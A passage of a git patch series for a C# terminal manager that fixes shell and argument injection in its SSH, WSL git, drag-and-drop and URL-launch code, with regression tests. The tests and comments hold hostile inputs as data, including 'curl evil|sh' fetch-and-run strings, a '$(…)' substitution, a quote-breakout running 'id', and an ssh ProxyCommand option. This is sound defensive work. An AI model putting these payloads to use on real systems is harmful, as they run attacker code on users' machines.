sb.Append(userAtHost); sb.Append(" \""); if (!string.IsNullOrWhiteSpace(SshRemoteFolder)) - sb.Append($"cd '{SshRemoteFolder}' && "); + // Escaped, not raw. This lands inside single quotes in a remote shell command, + // and SshRemoteFolder comes from state.json — which this file's own header notes + // is untrusted input. A `'` in the value closed the quote and ran the remainder + // on the remote host. Command/Args below are arbitrary by design; the folder is + // not meant to be. + sb.Append($"cd {PosixSingleQuote(SshRemoteFolder)} && "); var shell = string.IsNullOrWhiteSpace(Command) ? "bash" : Command; sb.Append(shell); if (!string.IsNullOrWhiteSpace(Args)) @@ -216,6 +221,14 @@ internal string BuildSshArgs() /// trailing run of n backslashes becomes 2n so it cannot eat the closing quote. /// Every value that reaches wsl.exe goes through here — no ad-hoc Replace. /// + /// + /// Wraps a value in POSIX single quotes, escaping any embedded quote as '\''. + /// For values interpolated into a *remote shell* command line (ssh), where Windows + /// argv quoting is the wrong tool entirely. Mirrors RunInstance.SingleQuoteEscape. + /// + internal static string PosixSingleQuote(string value) + => "'" + (value ?? "").Replace("'", "'\\''") + "'"; + internal static string QuoteForCmd(string value, bool force = false) { value ??= ""; diff --git a/src/CodeShellManager/Services/GitRepoWatcher.cs b/src/CodeShellManager/Services/GitRepoWatcher.cs index 036ec67..c06937d 100644 --- a/src/CodeShellManager/Services/GitRepoWatcher.cs +++ b/src/CodeShellManager/Services/GitRepoWatcher.cs @@ -98,9 +98,17 @@ private GitRepoWatcher(string gitDir) { gitDir = ResolveGitDir(workingFolder); if (gitDir == null || !Directory.Exists(gitDir)) return null; + // Normalize before it becomes a dictionary key: C:/repo/.git and C:\repo\.git + // are the same directory and must not get two watchers. + gitDir = Path.GetFullPath(gitDir); } catch { return null; } + // Construct OUTSIDE the lock. SharedLock is global and this is called from the UI + // thread; creating a FileSystemWatcher touches the kernel and, on a slow or offline + // path, can block. Holding a global lock across that would stall every other + // session's Acquire/Release behind one bad repo. + GitRepoWatcher? candidate = null; lock (SharedLock) { if (Shared.TryGetValue(gitDir, out var existing)) @@ -108,31 +116,50 @@ private GitRepoWatcher(string gitDir) Shared[gitDir] = (existing.Watcher, existing.RefCount + 1); return existing.Watcher; } + } + + try { candidate = new GitRepoWatcher(gitDir); } + catch { return null; } - GitRepoWatcher created; - try { created = new GitRepoWatcher(gitDir); } - catch { return null; } + lock (SharedLock) + { + // Someone may have won the race while we were constructing. Keep theirs. + if (Shared.TryGetValue(gitDir, out var raced)) + { + Shared[gitDir] = (raced.Watcher, raced.RefCount + 1); + candidate.Dispose(); + return raced.Watcher; + } - created._sharedKey = gitDir; - Shared[gitDir] = (created, 1); - return created; + candidate._sharedKey = gitDir; + Shared[gitDir] = (candidate, 1); + return candidate; } } /// Drops one reference; disposes the watcher when the last session lets go. public static void Release(GitRepoWatcher? watcher) { - if (watcher?._sharedKey is not string key) { watcher?.Dispose(); return; } + if (watcher is null) return; + if (watcher._sharedKey is not string key) { watcher.Dispose(); return; } lock (SharedLock) { if (!Shared.TryGetValue(key, out var entry)) return; + + // Identity check. A stale double-Release must not decrement — or dispose — the + // *replacement* watcher registered for the same .git dir after this one was + // torn down, which would silently kill events for a live session. + if (!ReferenceEquals(entry.Watcher, watcher)) return; + if (entry.RefCount > 1) { Shared[key] = (entry.Watcher, entry.RefCount - 1); return; } + Shared.Remove(key); + entry.Watcher._sharedKey = null; entry.Watcher.Dispose(); } } diff --git a/src/CodeShellManager/Services/GitService.cs b/src/CodeShellManager/Services/GitService.cs index 3c0aad1..d167e65 100644 --- a/src/CodeShellManager/Services/GitService.cs +++ b/src/CodeShellManager/Services/GitService.cs @@ -153,9 +153,13 @@ public static async Task> ListBranchesAsync(string folderP // backticks. Interpolated into a command line that reached a shell, that was remote // code execution from opening a hostile repo; interpolated into the local path it // still injected extra git argv via a `"`. + // `--` terminates option parsing. git uses permuting parse_options, so without it a + // ref legitimately named `--force` or `--detach` sitting in refs/heads is consumed + // as an option rather than as the commit-ish. Not execution, but it is a repo + // deciding which git flags we run. string[] args = createBranch - ? new[] { "worktree", "add", "-b", branchOrRef, targetPath } - : new[] { "worktree", "add", targetPath, branchOrRef }; + ? new[] { "worktree", "add", "-b", branchOrRef, "--", targetPath } + : new[] { "worktree", "add", "--", targetPath, branchOrRef }; var (output, stderr, exit) = await RunGitFullAsync(repoRoot, args, timeoutMs: 30_000).ConfigureAwait(false); if (exit == 0) return (true, ""); @@ -192,7 +196,23 @@ private static string JoinArgv(IEnumerable args) => internal static string BuildWslGitCommandLine( string distro, string cwd, IReadOnlyList gitArgs) { - var argv = new List { "-d", distro, "-e", "git", "-C", cwd }; + // `-e sh -lc 'exec "$0" "$@"' git …` rather than a bare `-e git`. + // + // Plain `-e git` is injection-safe but changed behaviour: it execs git directly, so + // the login shell never runs and PATH is the bare default. Anyone whose git comes + // from nix, linuxbrew or asdf — i.e. PATH set in a shell profile — would silently + // lose WSL git entirely, and the symptom would be "not a git repo" rather than + // anything pointing at PATH. The old `--` form ran a login shell, so that PATH was + // previously present. + // + // This restores it without reopening the hole: the script text is a fixed literal + // and every untrusted value arrives as a positional parameter. `"$0"`/`"$@"` expand + // to those parameters verbatim — the shell does not re-parse them — so a `$(…)` in + // a branch name is data, not code. + var argv = new List + { + "-d", distro, "-e", "sh", "-lc", "exec \"$0\" \"$@\"", "git", "-C", cwd + }; foreach (string a in gitArgs) argv.Add(TranslateUncArgToLinux(a, distro)); return JoinArgv(argv); } @@ -272,7 +292,7 @@ internal static string BuildLocalGitCommandLine( } /// - /// Runs wsl.exe -d <distro> -- git -C <linuxPath> <arguments>. + /// Runs wsl.exe -d <distro> -e sh -lc 'exec "$0" "$@"' git -C <linuxPath> … — -e, never --. See BuildWslGitCommandLine. /// Translates any WSL UNC paths in to Linux form /// before invocation (so things like worktree add "\\wsl$\Ubuntu\…" reach /// git as a normal Linux path), and translates absolute Linux paths in stdout diff --git a/src/CodeShellManager/Services/RunInstance.cs b/src/CodeShellManager/Services/RunInstance.cs index 6361f7a..7c96491 100644 --- a/src/CodeShellManager/Services/RunInstance.cs +++ b/src/CodeShellManager/Services/RunInstance.cs @@ -204,12 +204,19 @@ private void OnPtyExited() // so failures are logged to crash.log for diagnosability rather than silenced. if (State == RunState.ExitedOk && !string.IsNullOrWhiteSpace(PostRunUrl)) { - if (!IsLaunchableUrl(PostRunUrl)) + if (!TryGetLaunchableUrl(PostRunUrl, out string? safeUrl)) { LogPostRunUrl(PostRunUrl, "rejected — only http and https URLs are opened"); return; } - try { Process.Start(new ProcessStartInfo(PostRunUrl) { UseShellExecute = true }); } + // safeUrl, not PostRunUrl: launch the string the validator actually inspected. + // Uri.TryCreate accepts and internally escapes characters that the raw string + // still contains — a quote or space survives into ShellExecute, which expands it + // into the handler's registered `shell\open\command` template. Modern browsers + // pass --single-argument and are unaffected; other registered handlers may not + // be. Validating one string and launching a different one is the bug class, + // regardless of who is currently immune to it. + try { Process.Start(new ProcessStartInfo(safeUrl!) { UseShellExecute = true }); } catch (Exception ex) { LogPostRunUrl(PostRunUrl, ex.Message); } } } @@ -227,9 +234,21 @@ private void OnPtyExited() /// Scheme-less input like "localhost:5173" is rejected too: Uri parses it as scheme /// "localhost", and guessing http:// on the user's behalf would defeat the check. /// - internal static bool IsLaunchableUrl(string? url) => - Uri.TryCreate(url, UriKind.Absolute, out Uri? uri) && - (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps); + internal static bool IsLaunchableUrl(string? url) => TryGetLaunchableUrl(url, out _); + + /// + /// Validates and returns the exact string to launch — , + /// the normalized form, so the value inspected and the value launched are identical. + /// + internal static bool TryGetLaunchableUrl(string? url, out string? safeUrl) + { + safeUrl = null; + if (!Uri.TryCreate(url, UriKind.Absolute, out Uri? uri)) return false; + if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps) return false; + + safeUrl = uri.AbsoluteUri; + return true; + } private static void LogPostRunUrl(string url, string detail) { @@ -292,7 +311,9 @@ internal static string BuildSshArgs(ShellSession parent, string commandLine) : $"{parent.SshUser}@{parent.SshHost}"); sb.Append(" \""); if (!string.IsNullOrWhiteSpace(parent.SshRemoteFolder)) - sb.Append($"cd '{parent.SshRemoteFolder}' && "); + // Escaped for the same reason the command below is — the folder was the one + // value here that wasn't, and it comes from state.json. See ShellSession.BuildSshArgs. + sb.Append($"cd {SingleQuoteEscape(parent.SshRemoteFolder)} && "); sb.Append("bash -c "); sb.Append(SingleQuoteEscape(commandLine)); sb.Append("\""); diff --git a/src/CodeShellManager/Terminal/TerminalBridge.cs b/src/CodeShellManager/Terminal/TerminalBridge.cs index 653c262..b0f21fc 100644 --- a/src/CodeShellManager/Terminal/TerminalBridge.cs +++ b/src/CodeShellManager/Terminal/TerminalBridge.cs @@ -389,6 +389,35 @@ private void OnPtyData(string rawData) _coalescer.Append(rawData); } + /// + /// Turns dropped file paths into the text written to the PTY. Extracted so the filtering + /// is testable without a WebView2 — see DroppedPathsTests. + /// + /// Paths from a drop are UNTRUSTED: the page derives them from the drag payload's + /// text/uri-list with decodeURIComponent, so a drag source that controls that + /// payload (a hostile page's dragstart, a crafted .url, another local app) can put any + /// character in them percent-escaped. %0A decodes to a newline, and a newline + /// written to a PTY is the user pressing Enter — one drop would have run a command in + /// the focused session with no keystroke and no confirmation. + /// + /// Control characters are rejected rather than escaped: Win32 forbids them in filenames, + /// so nothing legitimate is lost, and rejection has no escaping bug to get wrong later. + /// + internal static string BuildDroppedPathsPayload(IEnumerable paths) + { + var quoted = new List(); + foreach (string fp in paths) + { + if (string.IsNullOrEmpty(fp)) continue; + if (fp.Any(char.IsControl)) continue; + + quoted.Add(fp.Contains(' ') || fp.Contains('"') + ? "\"" + fp.Replace("\"", "\\\"") + "\"" + : fp); + } + return string.Join(" ", quoted); + } + private void OnAcceleratorKeyPressed(object? sender, WpfKeyEventArgs e) { AcceleratorKeyPressed?.Invoke(this, e); @@ -502,18 +531,29 @@ private void OnWebMessageReceived(object? sender, CoreWebView2WebMessageReceived break; case "filesDropped": - // JS sends full paths via text/uri-list (file:// URIs from Explorer) + // JS sends full paths via text/uri-list (file:// URIs from Explorer). + // + // These are UNTRUSTED. The page derives them from the drag payload with + // decodeURIComponent, so a drag source that controls text/uri-list — a + // hostile page's dragstart, a crafted .url shortcut, another local app — + // can put ANY character in them, percent-escaped. `%0A` decodes to a + // newline, and a newline written to a PTY is the user pressing Enter: + // one drop would have run a command in the focused session with no + // keystroke and no confirmation. + // + // Control characters are rejected outright rather than escaped. No real + // Windows path contains one (the Win32 API forbids them in filenames), + // so nothing legitimate is lost, and "reject" has no escaping bug to get + // wrong later. Embedded quotes are escaped so the quoting below can't be + // broken out of either. if (root.TryGetProperty("paths", out var pathsEl)) { - var pathsList = new System.Collections.Generic.List(); + var raw = new System.Collections.Generic.List(); foreach (var p in pathsEl.EnumerateArray()) - { - string fp = p.GetString() ?? ""; - if (!string.IsNullOrEmpty(fp)) - pathsList.Add(fp.Contains(' ') ? $"\"{fp}\"" : fp); - } - if (pathsList.Count > 0) - _pty?.Write(string.Join(" ", pathsList)); + raw.Add(p.GetString() ?? ""); + + string payload = BuildDroppedPathsPayload(raw); + if (payload.Length > 0) _pty?.Write(payload); } break; } diff --git a/src/CodeShellManager/ViewModels/SessionViewModel.cs b/src/CodeShellManager/ViewModels/SessionViewModel.cs index 3815cd9..ac267cc 100644 --- a/src/CodeShellManager/ViewModels/SessionViewModel.cs +++ b/src/CodeShellManager/ViewModels/SessionViewModel.cs @@ -134,7 +134,7 @@ public async Task RefreshGitInfoAsync() { // SSH sessions have no local working folder to inspect. WSL sessions store // their WorkingFolder as a `\\wsl$\\...` UNC; GitService detects that - // and dispatches to `wsl.exe -- git -C ` internally (Git for + // and dispatches to `wsl.exe -d -e sh -lc ... git -C ` internally (Git for // Windows itself trips on those UNCs — dubious-ownership / .git symlinks). if (Session.Kind == SessionKind.Ssh || _gitOverriddenByOsc) return; @@ -401,8 +401,17 @@ public void ClearAlert() IsWaitingForApproval = false; } + private bool _disposed; + public void Dispose() { + // Idempotent. MainWindow disposes a session VM from several paths (close, sleep, + // restart, shutdown) and some of them can both run for one session; a second call + // used to throw ObjectDisposedException on the CTS below, *before* reaching the + // watcher release — leaking a shared watcher reference on the way out. + if (_disposed) return; + _disposed = true; + Runner.Dispose(); _gitPollCts.Cancel(); _gitPollCts.Dispose(); diff --git a/tests/CodeShellManager.Tests/DroppedPathsTests.cs b/tests/CodeShellManager.Tests/DroppedPathsTests.cs new file mode 100644 index 0000000..a235da5 --- /dev/null +++ b/tests/CodeShellManager.Tests/DroppedPathsTests.cs @@ -0,0 +1,71 @@ +using CodeShellManager.Terminal; +using Xunit; + +namespace CodeShellManager.Tests; + +/// +/// Regression tests for the drag-and-drop injection found in the v0.8.0 pre-release review. +/// +/// The page builds these paths from the drag payload's text/uri-list via decodeURIComponent, +/// so `file:///C:/x%0Acurl%20evil%7Csh%0A` arrives as a string containing newlines — and the +/// host wrote them straight to the PTY. A newline written to a PTY is Enter, so a single drop +/// from a source that controls the drag payload executed a command in the focused session. +/// +public class DroppedPathsTests +{ + [Theory] + [InlineData("C:\\x\ncurl evil|sh\n")] + [InlineData("C:\\x\rwhoami\r")] + [InlineData("C:\\x\u0000y")] + [InlineData("C:\\x\u001b]0;title\u0007")] // OSC injection via a "filename" + [InlineData("\n")] + public void PathsContainingControlCharactersAreDropped(string hostile) + { + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new[] { hostile })); + } + + [Fact] + public void AHostilePathDoesNotTakeTheGoodOnesWithIt() + { + string payload = TerminalBridge.BuildDroppedPathsPayload(new[] + { + @"C:\ok\one.txt", + "C:\\evil\nid", + @"C:\ok\two.txt", + }); + + Assert.Equal(@"C:\ok\one.txt C:\ok\two.txt", payload); + } + + [Theory] + [InlineData(@"C:\Users\alice\file.txt", @"C:\Users\alice\file.txt")] + [InlineData(@"C:\Program Files\a.txt", "\"C:\\Program Files\\a.txt\"")] + public void OrdinaryPathsAreUnchangedOrQuotedForSpaces(string input, string expected) + { + Assert.Equal(expected, TerminalBridge.BuildDroppedPathsPayload(new[] { input })); + } + + [Fact] + public void AQuoteInAPathCannotEscapeTheQuoting() + { + // `"` is legal in a URI-derived string even though Win32 forbids it in a filename. + // Escaped rather than rejected, so the quoting below can't be broken out of. + string payload = TerminalBridge.BuildDroppedPathsPayload(new[] { "C:\\a\"b c" }); + + Assert.Equal("\"C:\\a\\\"b c\"", payload); + } + + [Fact] + public void MultiplePathsAreSpaceSeparated() + { + Assert.Equal(@"C:\a C:\b", + TerminalBridge.BuildDroppedPathsPayload(new[] { @"C:\a", @"C:\b" })); + } + + [Fact] + public void EmptyInputProducesNothingToWrite() + { + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new string[0])); + Assert.Equal("", TerminalBridge.BuildDroppedPathsPayload(new[] { "", "" })); + } +} diff --git a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs index ab8f7aa..896ad63 100644 --- a/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs +++ b/tests/CodeShellManager.Tests/GitServiceInjectionTests.cs @@ -41,21 +41,31 @@ public class GitServiceInjectionTests "a\nb", }; + /// + /// The argv from `git` onwards — i.e. what the distro's git actually receives, ignoring + /// the wsl.exe preamble. Position-independent so a change to the preamble (there has + /// already been one) doesn't require rewriting every expectation. + /// + private static string[] GitArgv(string commandLine) + { + string[] argv = Win32CommandLineTests.Split(commandLine); + int g = argv.ToList().IndexOf("git"); + Assert.True(g >= 0, "no `git` in: " + commandLine); + return argv[g..]; + } + [Theory] [MemberData(nameof(HostilePayloads))] public void WslGitCommandLine_KeepsEachValueAsExactlyOneArgument(string payload) { string cmd = GitService.BuildWslGitCommandLine( "Ubuntu", "/home/alice/repo", - new[] { "worktree", "add", "-b", payload, "/home/alice/wt" }); - - string[] argv = Win32CommandLineTests.Split(cmd); + new[] { "worktree", "add", "-b", payload, "--", "/home/alice/wt" }); - // -d Ubuntu -e git -C /home/alice/repo worktree add -b /home/alice/wt Assert.Equal( - new[] { "-d", "Ubuntu", "-e", "git", "-C", "/home/alice/repo", - "worktree", "add", "-b", payload, "/home/alice/wt" }, - argv); + new[] { "git", "-C", "/home/alice/repo", + "worktree", "add", "-b", payload, "--", "/home/alice/wt" }, + GitArgv(cmd)); } [Theory] @@ -75,17 +85,69 @@ public void LocalGitCommandLine_KeepsEachValueAsExactlyOneArgument(string payloa [Fact] public void WslGitCommandLine_UsesDashE_NotDashDash() { - // The whole fix. `--` hands the tail to the distro's login shell; `-e` execs git - // directly. If this ever regresses, every payload above becomes live again. + // The whole fix. `--` hands the tail to the distro's login shell; `-e` execs the + // named program directly. If this regresses, every payload above becomes live again. string cmd = GitService.BuildWslGitCommandLine( "Ubuntu", "/repo", new[] { "status", "--porcelain" }); string[] argv = Win32CommandLineTests.Split(cmd); - Assert.Contains("-e", argv); - Assert.DoesNotContain("--", argv); - // -e must come immediately before the program it execs. - Assert.Equal("git", argv[argv.ToList().IndexOf("-e") + 1]); + Assert.Equal("-e", argv[2]); + // No bare `--` may appear in the wsl.exe option section (before the program). + Assert.DoesNotContain("--", argv[..argv.ToList().IndexOf("git")]); + } + + [Fact] + public void WslGitCommandLine_RunsGitThroughALoginShellWithoutReparsingArguments() + { + // A bare `-e git` is injection-safe but drops the login shell, so PATH is the bare + // default and anyone whose git comes from nix/asdf/linuxbrew silently loses WSL git + // (symptom: "not a git repo"). The old `--` form did run a login shell. + // + // `-e sh -lc 'exec "$0" "$@"' git …` gets the login PATH back safely: the script is + // a FIXED LITERAL and every untrusted value arrives as a positional parameter, which + // "$0"/"$@" expand verbatim without re-parsing. + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", "/repo", new[] { "status" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + int e = argv.ToList().IndexOf("-e"); + + Assert.Equal("sh", argv[e + 1]); + Assert.Equal("-lc", argv[e + 2]); + // The script must contain no interpolated data — only positional expansion. + Assert.Equal("exec \"$0\" \"$@\"", argv[e + 3]); + Assert.Equal("git", argv[e + 4]); + } + + [Theory] + [MemberData(nameof(HostilePayloads))] + public void TheShellScriptIsAlwaysTheSameLiteral(string payload) + { + // The safety of the -lc form rests entirely on the script never varying with input. + string cmd = GitService.BuildWslGitCommandLine( + "Ubuntu", payload, new[] { "worktree", "add", "-b", payload, "--", payload }); + + string[] argv = Win32CommandLineTests.Split(cmd); + + Assert.Single(argv, a => a == "exec \"$0\" \"$@\""); + Assert.Equal("exec \"$0\" \"$@\"", argv[argv.ToList().IndexOf("-lc") + 1]); + } + + [Fact] + public void WorktreeAdd_TerminatesOptionParsingBeforePositionals() + { + // git uses permuting parse_options, so a ref legitimately named `--force` sitting in + // refs/heads would otherwise be consumed as an option rather than a commit-ish. + string cmd = GitService.BuildLocalGitCommandLine( + @"C:\repo", new[] { "worktree", "add", "--", @"C:\wt", "--force" }); + + string[] argv = Win32CommandLineTests.Split(cmd); + + int dashDash = argv.ToList().IndexOf("--"); + int hostileRef = argv.ToList().IndexOf("--force"); + Assert.True(dashDash >= 0 && dashDash < hostileRef, + "the option terminator must precede any repo-controlled positional"); } [Fact] @@ -97,10 +159,9 @@ public void WslGitCommandLine_HostileWorkingFolderStaysOneArgument() string cmd = GitService.BuildWslGitCommandLine( "Ubuntu", "/home/alice/proj$(curl evil|sh)", new[] { "status", "--porcelain" }); - string[] argv = Win32CommandLineTests.Split(cmd); - - Assert.Equal("/home/alice/proj$(curl evil|sh)", argv[5]); - Assert.Equal(new[] { "status", "--porcelain" }, argv[6..]); + Assert.Equal( + new[] { "git", "-C", "/home/alice/proj$(curl evil|sh)", "status", "--porcelain" }, + GitArgv(cmd)); } [Fact] @@ -121,8 +182,9 @@ public void ForEachRefFormat_SurvivesAsOneArgument() string cmd = GitService.BuildWslGitCommandLine( "Ubuntu", "/repo", new[] { "for-each-ref", "--format=%(refname:short)", "refs/heads" }); - string[] argv = Win32CommandLineTests.Split(cmd); - Assert.Equal("--format=%(refname:short)", argv[7]); + Assert.Equal( + new[] { "git", "-C", "/repo", "for-each-ref", "--format=%(refname:short)", "refs/heads" }, + GitArgv(cmd)); } [Fact] diff --git a/tests/CodeShellManager.Tests/UntrustedInputTests.cs b/tests/CodeShellManager.Tests/UntrustedInputTests.cs new file mode 100644 index 0000000..73ba66c --- /dev/null +++ b/tests/CodeShellManager.Tests/UntrustedInputTests.cs @@ -0,0 +1,85 @@ +using CodeShellManager.Models; +using CodeShellManager.Services; +using Xunit; + +namespace CodeShellManager.Tests; + +/// +/// Regression tests for the second round of v0.8.0 pre-release security findings — three +/// places where a value from outside the app reached a shell or a launcher unescaped. +/// +public class UntrustedInputTests +{ + // ── ssh: the remote folder was the one value not escaped ───────────────────────────── + + [Theory] + [InlineData("/home/alice/proj")] + [InlineData("/home/alice/my proj")] + [InlineData("/x'; id; :'")] // closes the quote and runs `id` on the remote host + [InlineData("/x'")] + [InlineData("/it's/here")] // legitimate path that also used to break the command + public void SshRemoteFolder_IsSingleQuoteEscaped(string folder) + { + var session = new ShellSession + { + Kind = SessionKind.Ssh, + SshHost = "example.invalid", + SshRemoteFolder = folder, + Command = "bash", + }; + + string args = session.BuildSshArgs(); + + // The escaped form is '…' with every inner ' rendered as '\'' — so after the opening + // quote, no bare ' can appear that would end the string early. + Assert.Contains(ShellSession.PosixSingleQuote(folder), args); + Assert.DoesNotContain($"cd '{folder}'", args.Replace(ShellSession.PosixSingleQuote(folder), "")); + } + + [Fact] + public void PosixSingleQuote_EscapesEveryQuote() + { + Assert.Equal(@"'a'\''b'", ShellSession.PosixSingleQuote("a'b")); + Assert.Equal("''", ShellSession.PosixSingleQuote("")); + Assert.Equal(@"'/x'\''; id; :'\'''", ShellSession.PosixSingleQuote("/x'; id; :'")); + } + + // ── PostRunUrl: validate and launch the SAME string ────────────────────────────────── + + [Theory] + [InlineData("http://localhost:5173")] + [InlineData("https://example.com/path?q=1")] + public void LaunchableUrl_AcceptsHttpAndHttps(string url) + { + Assert.True(RunInstance.TryGetLaunchableUrl(url, out string? safe)); + Assert.NotNull(safe); + } + + [Theory] + [InlineData("file:///C:/Windows/System32/calc.exe")] + [InlineData(@"\\attacker\share\evil.exe")] + [InlineData("ms-settings:")] + [InlineData("javascript:alert(1)")] + [InlineData("localhost:5173")] // scheme-less: Uri reads "localhost" as the scheme + [InlineData("")] + [InlineData(null)] + public void LaunchableUrl_RejectsEverythingElse(string? url) + { + Assert.False(RunInstance.TryGetLaunchableUrl(url, out string? safe)); + Assert.Null(safe); + } + + [Fact] + public void LaunchableUrl_ReturnsTheNormalizedForm_NotTheRawString() + { + // The bug class: Uri.TryCreate accepts and internally escapes characters that the + // raw string still contains, so validating one string and handing ShellExecute a + // different one leaves whatever the Uri parser normalised away still live. + Assert.True(RunInstance.TryGetLaunchableUrl("http://example.com/a b\"c", out string? safe)); + + Assert.NotNull(safe); + Assert.DoesNotContain(" ", safe!); + Assert.DoesNotContain("\"", safe!); + Assert.StartsWith("http://example.com/", safe!); + } +} From d4e4269a06f0ff385e789b6d979fbf630d35599e Mon Sep 17 00:00:00 2001 From: Allan Thraen Date: Tue, 8 Sep 2026 17:07:23 +0200 Subject: [PATCH 3/6] =?UTF-8?q?fix:=20round-3=20findings=20=E2=80=94=20ssh?= =?UTF-8?q?=20host=20injection,=20cmd-shaped=20drop=20quoting,=20CI=20bloc?= =?UTF-8?q?ker?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Third round. Two fresh reviewers again; both found real defects, including one release blocker introduced by round 2's own CI change. ## Release blocker (self-inflicted) The `dotnet test` step added last round would have FAILED the release build. GitServiceThreadingTests asserted a non-empty branch from the checked-out repo, and actions/checkout leaves a detached HEAD for tag pushes and PR merge refs — `branch --show-current` prints nothing there. It passes on push-to-main, which is where it was seen green. The step sits ahead of every tag-gated step, so a tag push would have aborted Publish/MSI/Release. The assertion is now completion, which is the property the test was actually about. ## Worse than what round 2 fixed `SshHost`/`SshUser` went into the ssh command line unquoted, outside the quoted region. A host of `h -oProxyCommand=calc` splits into extra *ssh options*, and ProxyCommand runs LOCALLY — so a crafted state.json got code execution on the user's own machine without any remote host existing. Round 2 escaped `SshRemoteFolder` and walked straight past the two values next to it. Conditional QuoteForCmd is enough: the attack needs argv splitting, which needs whitespace, and there is no shell on this path. ## Dropped-path quoting was POSIX-shaped Round 2 quoted only on space and escaped `"` as `\"`. Panes commonly run cmd.exe or PowerShell, where a perfectly legal filename `a&calc.txt` — no space — is a command separator, and `\"` is not an escape at all. Now quoting triggers on the union of shell metacharacters, and `"` is rejected outright: no escaping is simultaneously correct for cmd, PowerShell and sh, and Win32 forbids `"` in filenames anyway. ## Profile output could contaminate git's stdout `-e sh -lc` sources /etc/profile and ~/.profile, and a profile that echoes prepends to stdout — which callers parse. `branch --show-current` would return the banner; worse, `status --porcelain` would be non-empty, pinning every WSL repo to "dirty" forever. The old `--` form had the identical exposure, so this would have been the WSL feature's debut rather than a regression. The script now prints a distinctive marker before exec and the host strips everything up to it. Verified on a real Ubuntu distro rather than reasoned about: wsl -d Ubuntu -- echo '$(id)' -> uid=1000(thraen)… wsl -d Ubuntu -e sh -lc 'exec "$0" "$@"' echo '$(id)' -> $(id) The login shell genuinely adds ~/.local/bin to PATH, exec preserves exit codes (0 and 128), and dash-leading arguments pass through as data. ## Also - GitRepoWatcher disposed watchers while holding the global SharedLock, which is what moving construction out of it was supposed to avoid. - "Edit session…" never re-acquired the watcher, so moving a session to another repo left it watching the old .git — silently poll-only, up to 120s stale. - Three test defects of my own: a vacuous assertion (`DescribeShared()` can never contain a path), a debounce test that assumed 20 real file writes land inside a 400ms window, and a thread-identity test that passed or failed by luck because xunit runs on the pool and Task.Run may reuse the caller's thread. All three now assert the property rather than a coincidence. - A quote-counting assertion I wrote was simply wrong: `'/x'\'''` is correct POSIX escaping and contains an odd number of quotes. Not fixed, filed instead: #127 (WSL git ignores WslUser — widens five signatures, degraded display only) and #128 (UNC working folder in an imported state.json triggers outbound SMB). | Check | Result | |---|---| | Solution build (Release, clean) | 0 errors, 0 warnings | | Unit tests | 581/581 | Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01NDsEfog5kVkT5NmX1Ya5be --- CLAUDE.md | 27 +++++++ src/CodeShellManager/Models/ShellSession.cs | 7 +- .../Services/GitRepoWatcher.cs | 32 ++++++-- src/CodeShellManager/Services/GitService.cs | 41 ++++++++++- src/CodeShellManager/Services/RunInstance.cs | 10 ++- .../Terminal/TerminalBridge.cs | 32 +++++++- .../ViewModels/SessionViewModel.cs | 16 ++++ .../DiagnosticTraceCollection.cs | 7 ++ .../DroppedPathsTests.cs | 26 ++++++- .../GitRepoWatcherTests.cs | 25 +++++-- .../GitServiceInjectionTests.cs | 73 ++++++++++++++++++- .../GitServiceThreadingTests.cs | 29 +++++++- .../UntrustedInputTests.cs | 16 +++- 13 files changed, 303 insertions(+), 38 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index a3109dc..97a9e2d 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -225,6 +225,33 @@ fail against the pre-fix code. The same fix removed a plain bug: `--format=%(refname:short)` is a bash syntax error once a login shell sees it, so `ListBranchesAsync` could never have worked under WSL. +**Verified empirically against a real distro**, because two rounds of reasoning about this +had already been wrong: + +``` +$ wsl -d Ubuntu -- echo '$(id)' # the v0.7.0 form +uid=1000(thraen) gid=1000(thraen) groups=1000(thraen),4(adm),… ← executed + +$ wsl -d Ubuntu -e sh -lc 'exec "$0" "$@"' echo '$(id)' # the current form +$(id) ← data +``` + +Backticks behave the same way. The form is `-e sh -lc 'exec "$0" "$@"' git …` rather than a +bare `-e git` for one reason: `-e git` skips the login shell, and the login shell is where +`~/.local/bin` and friends enter PATH — + +``` +-e sh -c (no login): /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:… +-e sh -lc (login): /home/thraen/.local/bin:/usr/local/sbin:/usr/local/bin:… +``` + +so anyone whose git comes from nix, asdf, pipx or linuxbrew would have silently lost WSL git, +reported as "not a git repo". Also confirmed on the real distro: `exec` preserves git's exit +code (0 and 128 both propagate), arguments beginning with `-` pass through as data, and a +clean profile adds nothing to stdout. If a *chatty* `~/.profile` ever does contaminate +stdout, that is the one known weakness of this form — the symptom would be a garbage branch +name in the sidebar, and the fix would be to strip non-git lines, not to go back to `--`. + Guarded by `tests/CodeShellManager.Tests/GitServiceThreadingTests.cs`, which calls `GitService` from a thread whose `SynchronizationContext` never runs work: if any await captures it the call never completes and the test times out. All three tests fail against diff --git a/src/CodeShellManager/Models/ShellSession.cs b/src/CodeShellManager/Models/ShellSession.cs index e291002..cde928e 100644 --- a/src/CodeShellManager/Models/ShellSession.cs +++ b/src/CodeShellManager/Models/ShellSession.cs @@ -196,8 +196,13 @@ internal string BuildSshArgs() if (SshPort != 22) sb.Append($"-p {SshPort} "); sb.Append("-t "); + // Quoted so it stays ONE argv element. Unquoted, an SshHost of + // `h -oProxyCommand=calc` split into extra *ssh options* — and ProxyCommand runs + // locally, so a crafted state.json got code execution on the user's own machine + // before any connection was attempted. Worse than the SshRemoteFolder case, because + // it doesn't need a remote host to exist. Both come from the same untrusted file. var userAtHost = string.IsNullOrWhiteSpace(SshUser) ? SshHost : $"{SshUser}@{SshHost}"; - sb.Append(userAtHost); + sb.Append(QuoteForCmd(userAtHost)); sb.Append(" \""); if (!string.IsNullOrWhiteSpace(SshRemoteFolder)) // Escaped, not raw. This lands inside single quotes in a remote shell command, diff --git a/src/CodeShellManager/Services/GitRepoWatcher.cs 